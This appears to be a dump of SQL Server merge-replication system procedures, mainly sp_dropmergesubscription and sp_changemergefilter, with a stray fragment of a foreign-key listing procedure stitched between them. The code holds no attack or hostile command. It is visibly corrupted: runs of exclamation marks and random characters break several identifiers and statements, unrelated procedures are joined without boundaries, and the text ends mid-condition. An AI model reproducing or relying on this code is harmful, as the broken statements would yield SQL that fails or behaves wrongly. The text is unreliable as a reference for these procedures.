    declare @subscriber_type        smallint
    declare @pubid                    uniqueidentifier
    declare @subid                    uniqueidentifier
    declare @subscription_type_id    int      
    declare @found_subscription        int      
    declare @cmd                    nvarchar(290)
    declare @distributor            sysname
    declare @distribdb                sysname
    declare @distproc                nvarchar(300)
    declare @pubidstr                nvarchar(38)
    declare @publisher                sysname
    declare @publisher_db            sysname

    declare @implicit_transaction    int
    declare @close_cursor_at_commit int
    			,@publishingservername sysname

    select @close_cursor_at_commit = 0
    select @implicit_transaction = 0
    		,@publishingservername = publishingservername()

    -- Security check
    if 1 <> is_member('db_owner')
    begin
        RAISERROR (15247, 11, -1)
        return 1
    end

    /*
    ** Save setting values first before changing them
    */
    IF (@reserved = 0)
    BEGIN
        SELECT @implicit_transaction = @@options & 2
        SELECT @close_cursor_at_commit = @@options & 4
        SET IMPLICIT_TRANSACTIONS OFF
        SET CURSOR_CLOSE_ON_COMMIT OFF
    END

     /*
    ** Initializations.
    */
    set @subscriber_bit        = 4
    set @subscription_type_id  = -1
    set @found_subscription   = 0                        
    set @publisher            = publishingservername()
    set @publisher_db         = DB_NAME()

    /*
    **    Check to see if current database is enabled for publishing/subscribing
    */
    IF object_id('sysmergesubscriptions') is NULL
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check: @subscription_type.
    ** Set subscription_typeid based on the @subscription_type specified.
    **
    **     subscription_type      subscription_type
    **     =================      ===============
    **               0            push
    **               1            pull
    */
    if LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('both', 'push', 'pull', 'anonymous', 'all')
    BEGIN
        RAISERROR (20727, 16, -1)
        RETURN (1)
    END
    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'both'
    begin
        EXECUTE @retcode = sys.sp_dropmergesubscription @publication = @publication,
                        @subscriber = @subscriber,
                        @subscriber_db = @subscriber_db,
                        @subscription_type = 'push',
                        @ignore_distributor = @ignore_distributor,
                        @reserved = 1
        if @retcode<>0 or @@ERROR<>0
            return (1)
        EXECUTE @retcode = sys.sp_dropmergesubscription @publication = @publication,
                        @subscriber = @subscriber,
                        @subscriber_db = @subscriber_db,
                        @subscription_type = 'pull',
                        @ignore_distributor = @ignore_distributor,
                        @reserved = 1
        if @retcode<>0 or @@ERROR<>0
            return (1)
        return (0)
    end

    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'all'
    begin
        EXECUTE @retcode = sys.sp_dropmergesubscription @publication = @publication,
                        @subscriber = @subscriber,
                        @subscriber_db = @subscriber_db,
                        @subscription_type = 'push',
                        @ignore_distributor = @ignore_distributor,
                        @reserved = 1
        if @retcode<>0 or @@ERROR<>0
            return (1)
        EXECUTE @retcode = sys.sp_dropmergesubscription @publication = @publication,
                        @subscriber = @subscriber,
                        @subscriber_db = @subscriber_db,
                        @subscription_type = 'pull',
                        @ignore_distributor = @ignore_distributor,
                        @reserved = 1
        if @retcode<>0 or @@ERROR<>0
            return (1)
        EXECUTE @retcode = sys.sp_dropmergesubscription @publication = @publication,
                        @subscriber = @subscriber,
                        @subscriber_db = @subscriber_db,
                        @subscription_type = 'anonymous',
                        @ignore_distributor = @ignore_distributor,
                        @reserved = 1
        if @retcode<>0 or @@ERROR<>0
            return (1)
        return (0)
    end 

    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push'
        set @subscription_type_id = 0
    else IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'anonymous'
        set @subscription_type_id = 2
    else 
        set @subscription_type_id = 1

    /*
    ** Parameter validation (different for push and pull modes)
    */

    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push'
    begin
        /*
        ** Assign parameter values appropriately
        */
        if @publisher IS NULL
            set @publisher = publishingservername()
        if (@publisher_db IS NULL)
            set @publisher_db = DB_NAME()

        /*
        ** Parameter Check: @subscriber
        ** Check to make sure that the subscriber is defined
        */
        IF @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_dropmergesubscription')
            RETURN (1)
        END

        /*
        ** Parameter Check: @subscriber_db
        */
        IF @subscriber_db IS NULL
        BEGIN
            select @subscriber_db = 'all'
        END
            
    end
    else
    begin
        /*
        ** Assign parameter values appropriately
        */
        if @subscriber IS NULL
            set @subscriber = 'all'
        if @subscriber_db IS NULL
            set @subscriber_db = 'all'

        /*
        ** Parameter Check: @publisher
        ** Check to make sure that the publisher is defined
        */
        IF @publisher IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publisher', 'sp_dropmergesubscription')
            RETURN (1)
        END

        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
           RETURN (1)

        /*
        ** Parameter Check: @publisher_db
        */
        IF @publisher_db IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publisher_db', 'sp_dropmergesubscription')
            RETURN (1)
        END

    end        

    /*
    ** Parameter Check:     @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.     Disallow NULL.
    */
    if @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_dropmergesubscription')
        RETURN (1)
    END

    IF LOWER(@publication) = 'all'
    BEGIN
        declare hC1 CURSOR LOCAL FAST_FORWARD FOR select DISTINCT name FROM dbo.sysmergepublications 
            where UPPER(publisher)=UPPER(publishingservername()!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(3EEt]v$) and publisher_db=db_name() 
            FOR READ ONLY
        
        OPEN hC1
        FETCH hC1 INTO @publication
        WHILE (@@fetch_status <> -1)
            BEGIN
                EXECUTE sys.sp_dropmergesubscription @publication = @publication,
                                            @subscriber = @subscriber,
                                            @subscriber_db = @subscriber_db,
                                            @subscription_type = @subscription_type,
                                            @ignore_distributor = @ignore_distributor,
                                            @reserved = 1
                FETCH hC1 INTO @publication
            END
        CLOSE hC1
        DEALLOCATE hC1
        RETURN (0)
    END
        
    if NOT EXISTS (select * FROM dbo.sysmergepublications 
        WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name())
    BEGIN
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END
    
    select @pubid = pubid from dbo.sysmergepublications 
        where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    set @pubidstr = '''' + convert(nchar(36), @pubid) + ''''
    if @pubid is null
    BEGIN
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END

       
    IF LOWER(@subscriber) = 'all'
    BEGIN
        declare hC2 CURSOR LOCAL FAST_FORWARD FOR select DISTINCT subscriber_server FROM dbo.sysmergesubscriptions
            WHERE  subid <> pubid 
                AND dbo.sysmergesubscriptions.pubid = @pubid
                AND dbo.sysmergesubscriptions.subscription_type = @subscription_type_id
            FOR READ ONLY
        OPEN hC2
        FETCH hC2 INTO @subscriber
        WHILE (@@fetch_status <> -1)
        BEGIN
            EXECUTE sys.sp_dropmergesubscription @publication = @publication,
                                        @subscriber = @subscriber,
                                        @subscriber_db = @subscriber_db,
                                        @subscription_type = @subscription_type,
                                        @ignore_distributor = @ignore_distributor,
                                        @reserved = 1
            FETCH hC2 INTO @subscriber
        END
        CLOSE hC2
        DEALLOCATE hC2
        RETURN (0)
    END

    /*
    ** NOTE: remove this batch
    */
    IF LOWER(@subscriber_db) = 'all'
    BEGIN
            declare hC3 CURSOR LOCAL FAST_FORWARD FOR select DISTINCT db_name FROM dbo.sysmergesubscriptions
            WHERE UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default 
                AND subid <> pubid 
                AND dbo.sysmergesubscriptions.pubid = @pubid
                AND dbo.sysmergesubscriptions.subscription_type = @subscription_type_id
            FOR READ ONLY        

        OPEN hC3
        FETCH hC3 INTO @subscriber_db
        WHILE (@@fetch_status <> -1)
        BEGIN
            EXECUTE sys.sp_dropmergesubscription @publication = @publication,
                                        @subscriber = @subscriber,
                                        @subscriber_db = @subscriber_db,
                                        @subscription_type = @subscription_type,
                                        @ignore_distributor = @ignore_distributor,
                                        @reserved = 1

            FETCH hC3 INTO @subscriber_db
        END
        CLOSE hC3
        DEALLOCATE hC3
        RETURN (0)
    END

    select @pubid=pubid from dbo.sysmergepublications where name=@publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL 
        return (0)
    
    if exists (select * from dbo.sysmergesubscriptions where subid=@pubid 
        and pubid=@pubid and db_name<>db_name())
    RETURN (0)
    
    /*
    ** Get subscriptions from either local replicas or global replicas
    */
    select @subid = subs.subid, @subscriber_type = subs.subscriber_type from
        dbo.sysmergesubscriptions    subs,
        dbo.sysmergepublications        pubs,
        dbo.MSmerge_replinfo    rep
        where UPPER(subs.subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
            and subs.db_name = @subscriber_db
            and subs.pubid <> subs.subid
            and subs.pubid = pubs.pubid
            and pubs.name = @publication
            and UPPER(pubs.publisher)=UPPER(publishingservername())
            and pubs.publisher_db=db_name()
            and subs.subscription_type = @subscription_type_id
            and rep.repid = subs.subid
            and (is_member('db_owner')=1 OR suser_sname(suser_sid())=rep.login_name)

    if @subid IS NULL
    begin
        -- raiserror (14050, 16, -1) 
        RETURN (0)
    end                    

    begin tran
    save TRAN dropmergesubscription

        /*
        ** Do not drop the subscription corresponding to the loopback subscription 
        */
        if (@subid <> @pubid) 
        begin
            /*
            ** global/republisher subscriptions have to stay for a while even after being
            ** dropped so that they won't regain lives for themselves. They would be cleanup eventually.
            */
            
            if (@subscriber_type<>1) 
            begin
                -- delete supportability settings for the subscriptions that we are about to delete.
                delete from dbo.MSmerge_supportability_settings where subid = @subid            
                delete from dbo.MSmerge_log_files where subid = @subid

                delete from dbo.sysmergesubscriptions where subid = @subid
                IF @@ERROR <> 0
                    GOTO FAILURE        
                exec sys.sp_MScleanup_subscriber_history @subid = @subid
                if @@ERROR<>0 
                    goto FAILURE    
                    
                delete dbo.MSmerge_replinfo WHERE repid = @subid 
                IF @@ERROR <> 0
                    GOTO FAILURE

                -- If the only remaining subscriptions are old entries (before restore),
                -- we remove them now.
                if not exists (select * from dbo.sysmergesubscriptions 
                                    where status <> 7) -- REPLICA_STATUS_BeforeRestore
                begin
                    delete from dbo.sysmergesubscriptions
                    truncate table dbo.MSmerge_supportability_settings
                    truncate table dbo.MSmerge_log_files
                    truncate table dbo.MSrepl_errors
                    truncate table dbo.MSmerge_history
                    truncate table dbo.MSmerge_articlehistory
                    truncate table dbo.MSmerge_sessions
                    delete from dbo.MSmerge_replinfo
                end
            end
            else
            begin
                update dbo.sysmergesubscriptions set status=2 where subid=@subid
                IF @@ERROR<>0
                    GOTO FAILURE
            end 

            /* 
            ** The MobileSync registry entry needs to be dropped only for push subscriptions -    
            ** i.e - need not be called when a pull subscription is created at the 
            ** subscriber and sp_addmergesubscription is being called then.
            */
            IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push'
            begin
                /* Call sp_MSunregistersubscription so that the reg entries get deleted */
                exec @retcode = sys.sp_MSunregistersubscription @publisher = @publishingservername,
                                @publisher_db = @publisher_db,
                                @publication = !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<R4p0
j$@publication,
                                @subscriber = @subscriber,
                                @subscriber_db = @subscriber_db
                IF @retcode<>0 or @@ERROR<>0
                    GOTO FAILURE

            END                
        end        

        /*
        ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
        */
        -- cleanup required for 'anonymous' subscriptions as well, hence removing
        -- '@subscriber_type <>3' condition, bug 81257, sql bu
        if @ignore_distributor = 0
        begin
            /*
            ** Get distribution server information for remote RPC call.
            */
            EXECUTE @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT,
               @distribdb    = @distribdb OUTPUT
            IF @@ERROR <> 0 or @retcode <> 0
                BEGIN
                    GOTO FAILURE
                END

            SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + 
                '.dbo.sp_MSdrop_merge_subscription'

            EXEC @retcode = @distproc 
                @publishingservername, 
                @publisher_db, 
                @publication,
                @subscriber, 
                @subscriber_db,
                @subscription_type
            IF @@ERROR <> 0 OR @retcode <> 0
                begin    
                    goto FAILURE
                end 
        end 

        /* 
        ** If last subscription is dropped and the DB is not enabled for publishing,
        ** then remove the merge system tables
        */
        -- ignore remaining anonymous or lightweight subscriptions whose entries might be there due to subscriber tracking.
        IF (not exists (select * from dbo.sysmergesubscriptions where subscription_type <> 2 and subscription_type <> 3)) 
            AND (select category & 4 FROM master.dbo.sysdatabases WHERE name = DB_NAME() collate database_default)=0
        BEGIN
            execute @retcode = sys.sp_MSdrop_mergesystables @whattodrop=1
            if @@ERROR <> 0 or @retcode <> 0 return (1)
        END            

    COMMIT TRAN
    /*
    ** Set back original settings
    */    
    IF @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END
    RETURN(0)        

FAILURE:
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    RAISERROR (14056, 16, -1)
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION dropmergesubscription
        COMMIT TRANSACTION
    end
    /*
    ** Set back original settings
    */    
    IF @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END
    return (1)

 bit if it references this table. */
			update #sprefs set referenced = 1
				where constid in (select constid from dbo.sysreferences where rkeyid = @id)
		end	/* direction */
	end	/* tables or keys */
	
	/* Exclude system and MS-internal objects, or tables/keys that aren't in the @reftable we want, if any specified. */
	delete #sprefs where id in (select id from dbo.sysobjects where OBJECTPROPERTY(id, N'IsUserTable') <> 1 or category & 0x0002 <> 0)
			or (@refid is not null and id != @refid)

	/* Output */
ReturnSet:
	if (@docols = 0) begin
		if (@tablename is not null) begin
            select candidate_table = N'[' + REPLACE(schema_name(syso.schema_id), N']', N']]') + N']' + N'.' + N'[' + REPLACE(object_name(o.id), N']', N']]') + N']',
               candidate_key = case @dotables when 1 then N'N/A' else object_name(s.constid) end, s.referenced
               from #sprefs s, dbo.sysobjects o, sys.all_objects syso where o.id = s.id and (@doall = 1 or s.referenced = 1) and o.id = syso.object_id
               order by object_name(o.id), schema_name(syso.schema_id), object_name(s.constid)
      end else begin
            select candidate_table = N'[' + REPLACE(schema_name(syso.schema_id), N']', N']]') + N']' + N'.' + N'[' + REPLACE(object_name(o.id), N']', N']]') + N']',
               candidate_key = case @dotables when 1 then N'N/A' else object_name(s.constid) end
               from #sprefs s, dbo.sysobjects o, sys.all_objects syso where o.id = s.id and o.id = syso.object_id
               order by object_name(o.id), schema_name(syso.schema_id), object_name(s.constid)
      end
	end else begin	/* @docols = 1 */
		/* This is currently just implemented for 'nonNULLtablename', 'actualkeycols', 'foreign'. */
         select candidate_table = N'[' + REPLACE(schema_name(syso.schema_id), N']', N']]') + N']' + N'.' + N'[' + REPLACE(object_name(o.id), N']', N']]') + N']',
               candidate_key = object_name(s.constid),
               cKeyCol1 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey1)),
               cKeyCol2 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey2)),
               cKeyCol3 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey3)),
               cKeyCol4 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey4)),
               cKeyCol5 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey5)),
               cKeyCol6 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey6)),
               cKeyCol7 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey7)),
               cKeyCol8 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey8)),
               cKeyCol9 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey9)),
               cKeyCol10 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey10)),
               cKeyCol11 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey11)),
               cKeyCol12 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey12)),
               cKeyCol13 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey13)),
               cKeyCol14 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey14)),
               cKeyCol15 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey15)),
               cKeyCol16 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey16))
            from #sprefs s, dbo.sysobjects o, dbo.sysreferences r, sys.all_objects syso
            where o.id = s.id and r.constid = s.constid and s.referenced = 1 and o.id = syso.object_id
            order by object_name(o.id), schema_name(syso.schema_id), object_name(s.constid)
	end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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    @filtername                sysname,
    @property                sysname,
    @value                    nvarchar(1000),
    @force_invalidate_snapshot bit = 0, /* Force invalidate existing snapshot */
    @force_reinit_subscription bit = 0    /* Force reinit subscription */
    )AS

    set nocount on

    declare @pre_command        int
    declare @qual_object        nvarchar(258)
    declare @qual_join_object    nvarchar(258)
    declare @owner				nvarchar(258)
    declare @join_object_owner	nvarchar(258)
    declare @join_articlename    nvarchar(4000)
    declare @db_name            sysname
    declare @pubid                uniqueidentifier
    declare @artid                uniqueidentifier
    declare @objid                int
    declare @object                sysname
    declare @join_object        sysname
    declare @retcode            int
    declare @join_filterid        int
    declare @join_objid            int
    declare @join_nickname        int
    declare @art_nickname        int
    declare @snapshot_ready        int
    declare @filter_type        tinyint
    declare @join_unique_key    int
    declare @join_filterclause    nvarchar(1000)
    declare @automatic_reinitialization_policy bit
    declare @regenerate_triggers bit
    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0
    
    /*
    ** Security Check.
    ** Only the System Administrator (SA) or the Database Owner (dbo) can
    ** call this procedure
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    select @regenerate_triggers = 0
    /*
    ** Parameter Check: @join_articlename.
    ** The join_articlename cannot be NULL 
    */
    if @filtername is NULL
    begin
        raiserror (14043, 11, -1, '@filtername', 'sp_changemergefilter')
        return (1)
    end

    if @value is NULL or @value = ''
    begin
        raiserror (14043, 11, -1, '@value', 'sp_changemergefilter')
        return (1)
    end

    /*
    ** Parameter Check: @publication.
    ** The @publication id cannot be NULL and must conform to the rules
    ** for identifiers.
    */
    if @publication is NULL
    begin
        raiserror (14043, 11, -1, '@publication', 'sp_changemergefilter')
        return (1)
    end
    /*
    ** Get the pubid and make sure the publication exists
    */
    select @pubid = pubid, 
           @snapshot_ready=snapshot_ready,
           @automatic_reinitialization_policy = automatic_reinitialization_policy
       from dbo.sysmergepublications where 
       name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end

    select @db_name = db_name from dbo.sysmergesubscriptions
        where (pubid=@pubid) and (subid=@pubid)
    IF @db_name <> db_name()
    BEGIN
        RAISERROR (20047, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check: @article.
    ** Check to see that the @article is valid and does exist 
    */
    if @article is NULL
    begin
        raiserror (20045, 16, -1)
        return (1)
    end
        
    select    @artid = artid, @object = object_name(objid), @objid = objid, 
            @pre_command = pre_creation_command, @art_nickname = nickname
    from dbo.sysmergearticles 
    where name = @article and pubid = @pubid  
    if @artid is NULL
        begin
            raiserror (20046, 16, -1)
            return (1)
        end
    
    select @join_filterid=join_filterid, @join_articlename=join_articlename, @join_nickname = join_nickname,
            @join_unique_key = join_unique_key, @join_filterclause = join_filterclause
    from dbo.sysmergesubsetfilters
    where pubid=@pubid and artid=@artid and filtername=@filtername
    if @join_filterid is null
        begin
            raiserror (21362, 16, -1, @filtername) 
            return (1)
        end
        
    select @join_object = object_name(objid), @join_objid = objid from dbo.sysmergearticles 
        where nickname = @join_nickname and pubid=@pubid

    IF @property IS NULL
    BEGIN
        CREATE TABLE #temp (properties sysname collate database_default)
        INSERT INTO #temp VALUES ('filtername')
        INSERT INTO #temp VALUES ('join_filterclause')
        INSERT INTO #temp VALUES ('join_articlename')
        INSERT INTO #temp VALUES ('join_unique_key')
        INSERT INTO #temp VALUES ('filter_type')
        select * FROM #tab1
        RETURN (0)
    END 


    if @value is null
    begin
        RAISERROR (14043, 16, -1, @property, 'sp_changemergefilter')
        return (1)
    end

    begin TRAN
    save TRAN change_filter

    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(20713, 16, -1, 'sp_changemergefilter', @publication)
        goto FAILURE            
    end

    select @got_merge_admin_applock = 1

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in 
            ('join_filterclause','join_articlename','join_unique_key', 'filter_type')
        and @snapshot_ready>0
    begin
            -- 1 means'drop': which is the only option that support reintialization
            if @pre_command<>1                
                begin
                    raiserror(21419, 16, -1, @filtername, @article)
                    goto FAILURE            
                end
            /*
            ** make sure we know we really want to do this.
            */
            if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
                begin
                    raiserror(20607, 16, -1)
                    goto FAILURE
                end
            if @force_reinit_subscription = 0
                begin
                    raiserror(20608, 16, -1)
                    goto FAILURE
                end

            select @regenerate_triggers = 1
            
            update dbo.sysmergepublications 
                set snapshot_ready=2,
                use_partition_groups = case when use_partition_groups = 1 then 2 else use_partition_groups end
            where pubid=@pubid
            if @@ERROR<>0 goto FAILURE

            exec @retcode = sys.sp_MSreinitmergepublication 
                                    @publication = @publication,
                                    @upload_first = @automatic_reinitialization_policy
            if @retcode<>0 or @@ERROR<>0 goto FAILURE

    end
    
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)='join_filterclause'
    BEGIN
        
        -- check if the join_filterclause contains any column of type that is not supported in
        --  a join filter.

        if exists    (
                        select * from sys.columns 
                        where object_id = @objid and 
                        (
                            --(sys.fn_IsTypeBlob(sc.system_type_id,sc.max_length) = 1) -- Blob type text,ntext,xml
                              (system_type_id in (type_id('image'), type_id('text'), type_id('ntext'), type_id('xml')))
                              or max_length = -1
                              or system_type_id = 240    -- CLR-UDTs
                        )
                        and sys.fn_MSisfilteredcolumn(@value, name, @objid) = 1 
                    )
        begin
                raiserror(22518, 16, -1, @object)
                goto FAILURE
        end

        update dbo.sysmergesubsetfilters set join_filterclause=@value
                where join_filterid=@join_filter!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(6EFvXid
        execute @retcode = sys.sp_MSsubsetpublication @publication
        if @@ERROR <> 0 or @retcode<>0
            goto FAILURE
    END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)='join_unique_key'
    BEGIN
        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true','false')
        BEGIN
             RAISERROR(14137,16,-1)
             goto FAILURE
        END
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            update dbo.sysmergesubsetfilters set join_unique_key=1 where join_filterid=@join_filterid
        else
            update dbo.sysmergesubsetfilters set join_unique_key=0 where join_filterid=@join_filterid
        if @@ERROR <> 0 or @retcode<>0
            goto FAILURE
    END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)='filtername'
    BEGIN
        update dbo.sysmergesubsetfilters set filtername=@value
            where join_filterid=@join_filterid
        if @@ERROR<>0
            goto FAILURE
    END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)='join_articlename'
    BEGIN

        -- consistency check join_articlename should not be the same as @article
        if @article = @value
        begin
            raiserror(21599, 16, -1)
            goto FAILURE
        end

        select @join_objid = objid from dbo.sysmergearticles where name = @value and pubid = @pubid
        
        IF @join_objid is NULL
        BEGIN
            raiserror (14027, 11, -1, @value)
            goto FAILURE
        END

        select @join_nickname = nickname from dbo.sysmergearticles 
        where pubid = @pubid AND objid = @join_objid 
        if @join_nickname is NULL
        begin
            raiserror (20001, 11, -1, @article, @publication)
            goto FAILURE
        end
        
        update dbo.sysmergesubsetfilters set join_articlename=@value, join_nickname=@join_nickname
            where join_filterid=@join_filterid
        if @@ERROR<>0
            goto FAILURE
    END
        
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)='filter_type'
    BEGIN
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = '1'
            select @filter_type = 1
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = '2'
            select @filter_type = 2
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = '3'
            select @filter_type = 3 -- (1 | 2)=3
        else
        begin
            raiserror (21575, 16, -1)
            goto FAILURE
        end
                    
        update dbo.sysmergesubsetfilters set filter_type = @filter_type
            where join_filterid=@join_filterid
        if @@ERROR<>0
            goto FAILURE
    END
    
    -- Do a final validation. This needs to be done irrespective of which property is being set.    
    select @join_filterid=join_filterid, @join_articlename=join_articlename, @join_nickname = join_nickname,
            @join_unique_key = join_unique_key, @join_filterclause = join_filterclause, @filter_type = filter_type
    from dbo.sysmergesubsetfilters
    where pubid=@pubid and artid=@artid and filtername=@filtername
            
    select @join_object = object_name(objid), @join_objid = objid from dbo.sysmergearticles 
        where nickname = @join_nickname and pubid=@pubid
        
    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in 
            ('join_filterclause','join_articlename')
    begin
        select @qual_object=QUOTENAME(@object)
        select @qual_join_object=QUOTENAME(@join_object)
        
        select @owner = quotename(SCHEMA_NAME(schema_id)) from sys.objects where object_id = @objid
		select @join_object_owner = quotename(SCHEMA_NAME(schema_id)) from sys.objects where object_id = @join_objid
    
        exec ('declare @test int select @test=1 from ' + @owner + '.' + @qual_object + ' ' + @qual_object 
						+ ', ' + @join_object_owner + '.' + @qual_join_object + ' ' + @qual_join_object + ' where ' + @join_filterclause)
        if @@ERROR<>0
        begin
            raiserror(21256, 16, -1, @join_filterclause, @object)
            goto FAILURE
        end
    end
        
    if (@filter_type & 2) = 2
    begin
        declare @pubname_lessthan90compat sysname
        declare @owner_qualified_art_name nvarchar(517)
        declare @owner_qualified_join_name nvarchar(517)

        select @pubname_lessthan90compat = NULL
        
        -- Only supported with publications that have 90 compatibility level.
        select top 1 @pubname_lessthan90compat = name from dbo.sysmergepublications 
        where backward_comp_level < 90
        and pubid in 
            (select pubid from dbo.sysmergearticles where nickname = @art_nickname)
            
        if @pubname_lessthan90compat is not null
        begin
            raiserror(21574, 16, -1, @article, @pubname_lessthan90compat)
            goto FAILURE
        end
                
        select @pubname_lessthan90compat = NULL
        
        -- Only supported with publications that have 90 compatibility level.
        select top 1 @pubname_lessthan90compat = name from dbo.sysmergepublications 
        where backward_comp_level < 90
        and pubid in 
            (select pubid from dbo.sysmergearticles where nickname = @join_nickname)
            
        if @pubname_lessthan90compat is not null
        begin
            raiserror(21574, 16, -1, @join_articlename, @pubname_lessthan90compat)
            goto FAILURE
        end

        if @join_unique_key = 0
        begin
            -- logical record relation only supported with join_unique_key=1
            raiserror(21539, 16, -1)
            goto FAILURE
        end 
        
        -- Cannot use Logical records and BusinessLogicResolvers at the same time.
        if exists (select * from dbo.sysmergearticles where ((nickname = @art_nickname) or 
                                                            (nickname = @join_nickname)) and 
                                                            (resolver_clsid = '00000000-0000-0000-0000-000000000000'))
        begin
            raiserror(20708, 16, -1)
            goto FAILURE
        end

        if exists (select * from dbo.sysmergepublications where pubid = @pubid and allow_web_synchronization = 1)
        begin
            raiserror(22545, 16, -1, @publication)
            goto FAILURE
        end
        
        if exists (select * from dbo.sysmergepublications where pubid = @pubid and sync_mode = 1)
        begin
            raiserror(22541, 16, -1, @publication)
            goto FAILURE
        end
                
        if exists (select * from dbo.sysmergesubsetfilters 
                                                where art_nickname = @art_nickname
                                                and join_nickname <> @join_nickname
                                                and (filter_type & 2) = 2)
        begin
            -- there cannot be two parents of a child in a logical record relationship
            raiserror (21538, 16, -1, @object, @join_object)
            goto FAILURE
        end
        
        if @filter_type & 1 = 1 and exists (select * from dbo.sysmergepublications 
                                            where pubid = @pubid and use_partition_groups <= 0)
        begin
            raiserror(21571, 16, -1, @publication)
            goto FAILURE
        end

        -- We do not allow logical records to be used if the articles involved in a join filter
        -- have cascading constraints defined on them
        -- yiche
        if exists (select * from sys.foreign_keys fks
        where fks.parent_object_id in (@join_objid, @objid) and
        	(ObjectProperty(fks.object_id, 'CnstIsDeleteCascade') = 1  -- on delete cascade
        	or ObjectProper!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<,7J]
Xty(fks.object_id, 'CnstIsUpdateCascade') = 1 -- on update cascade
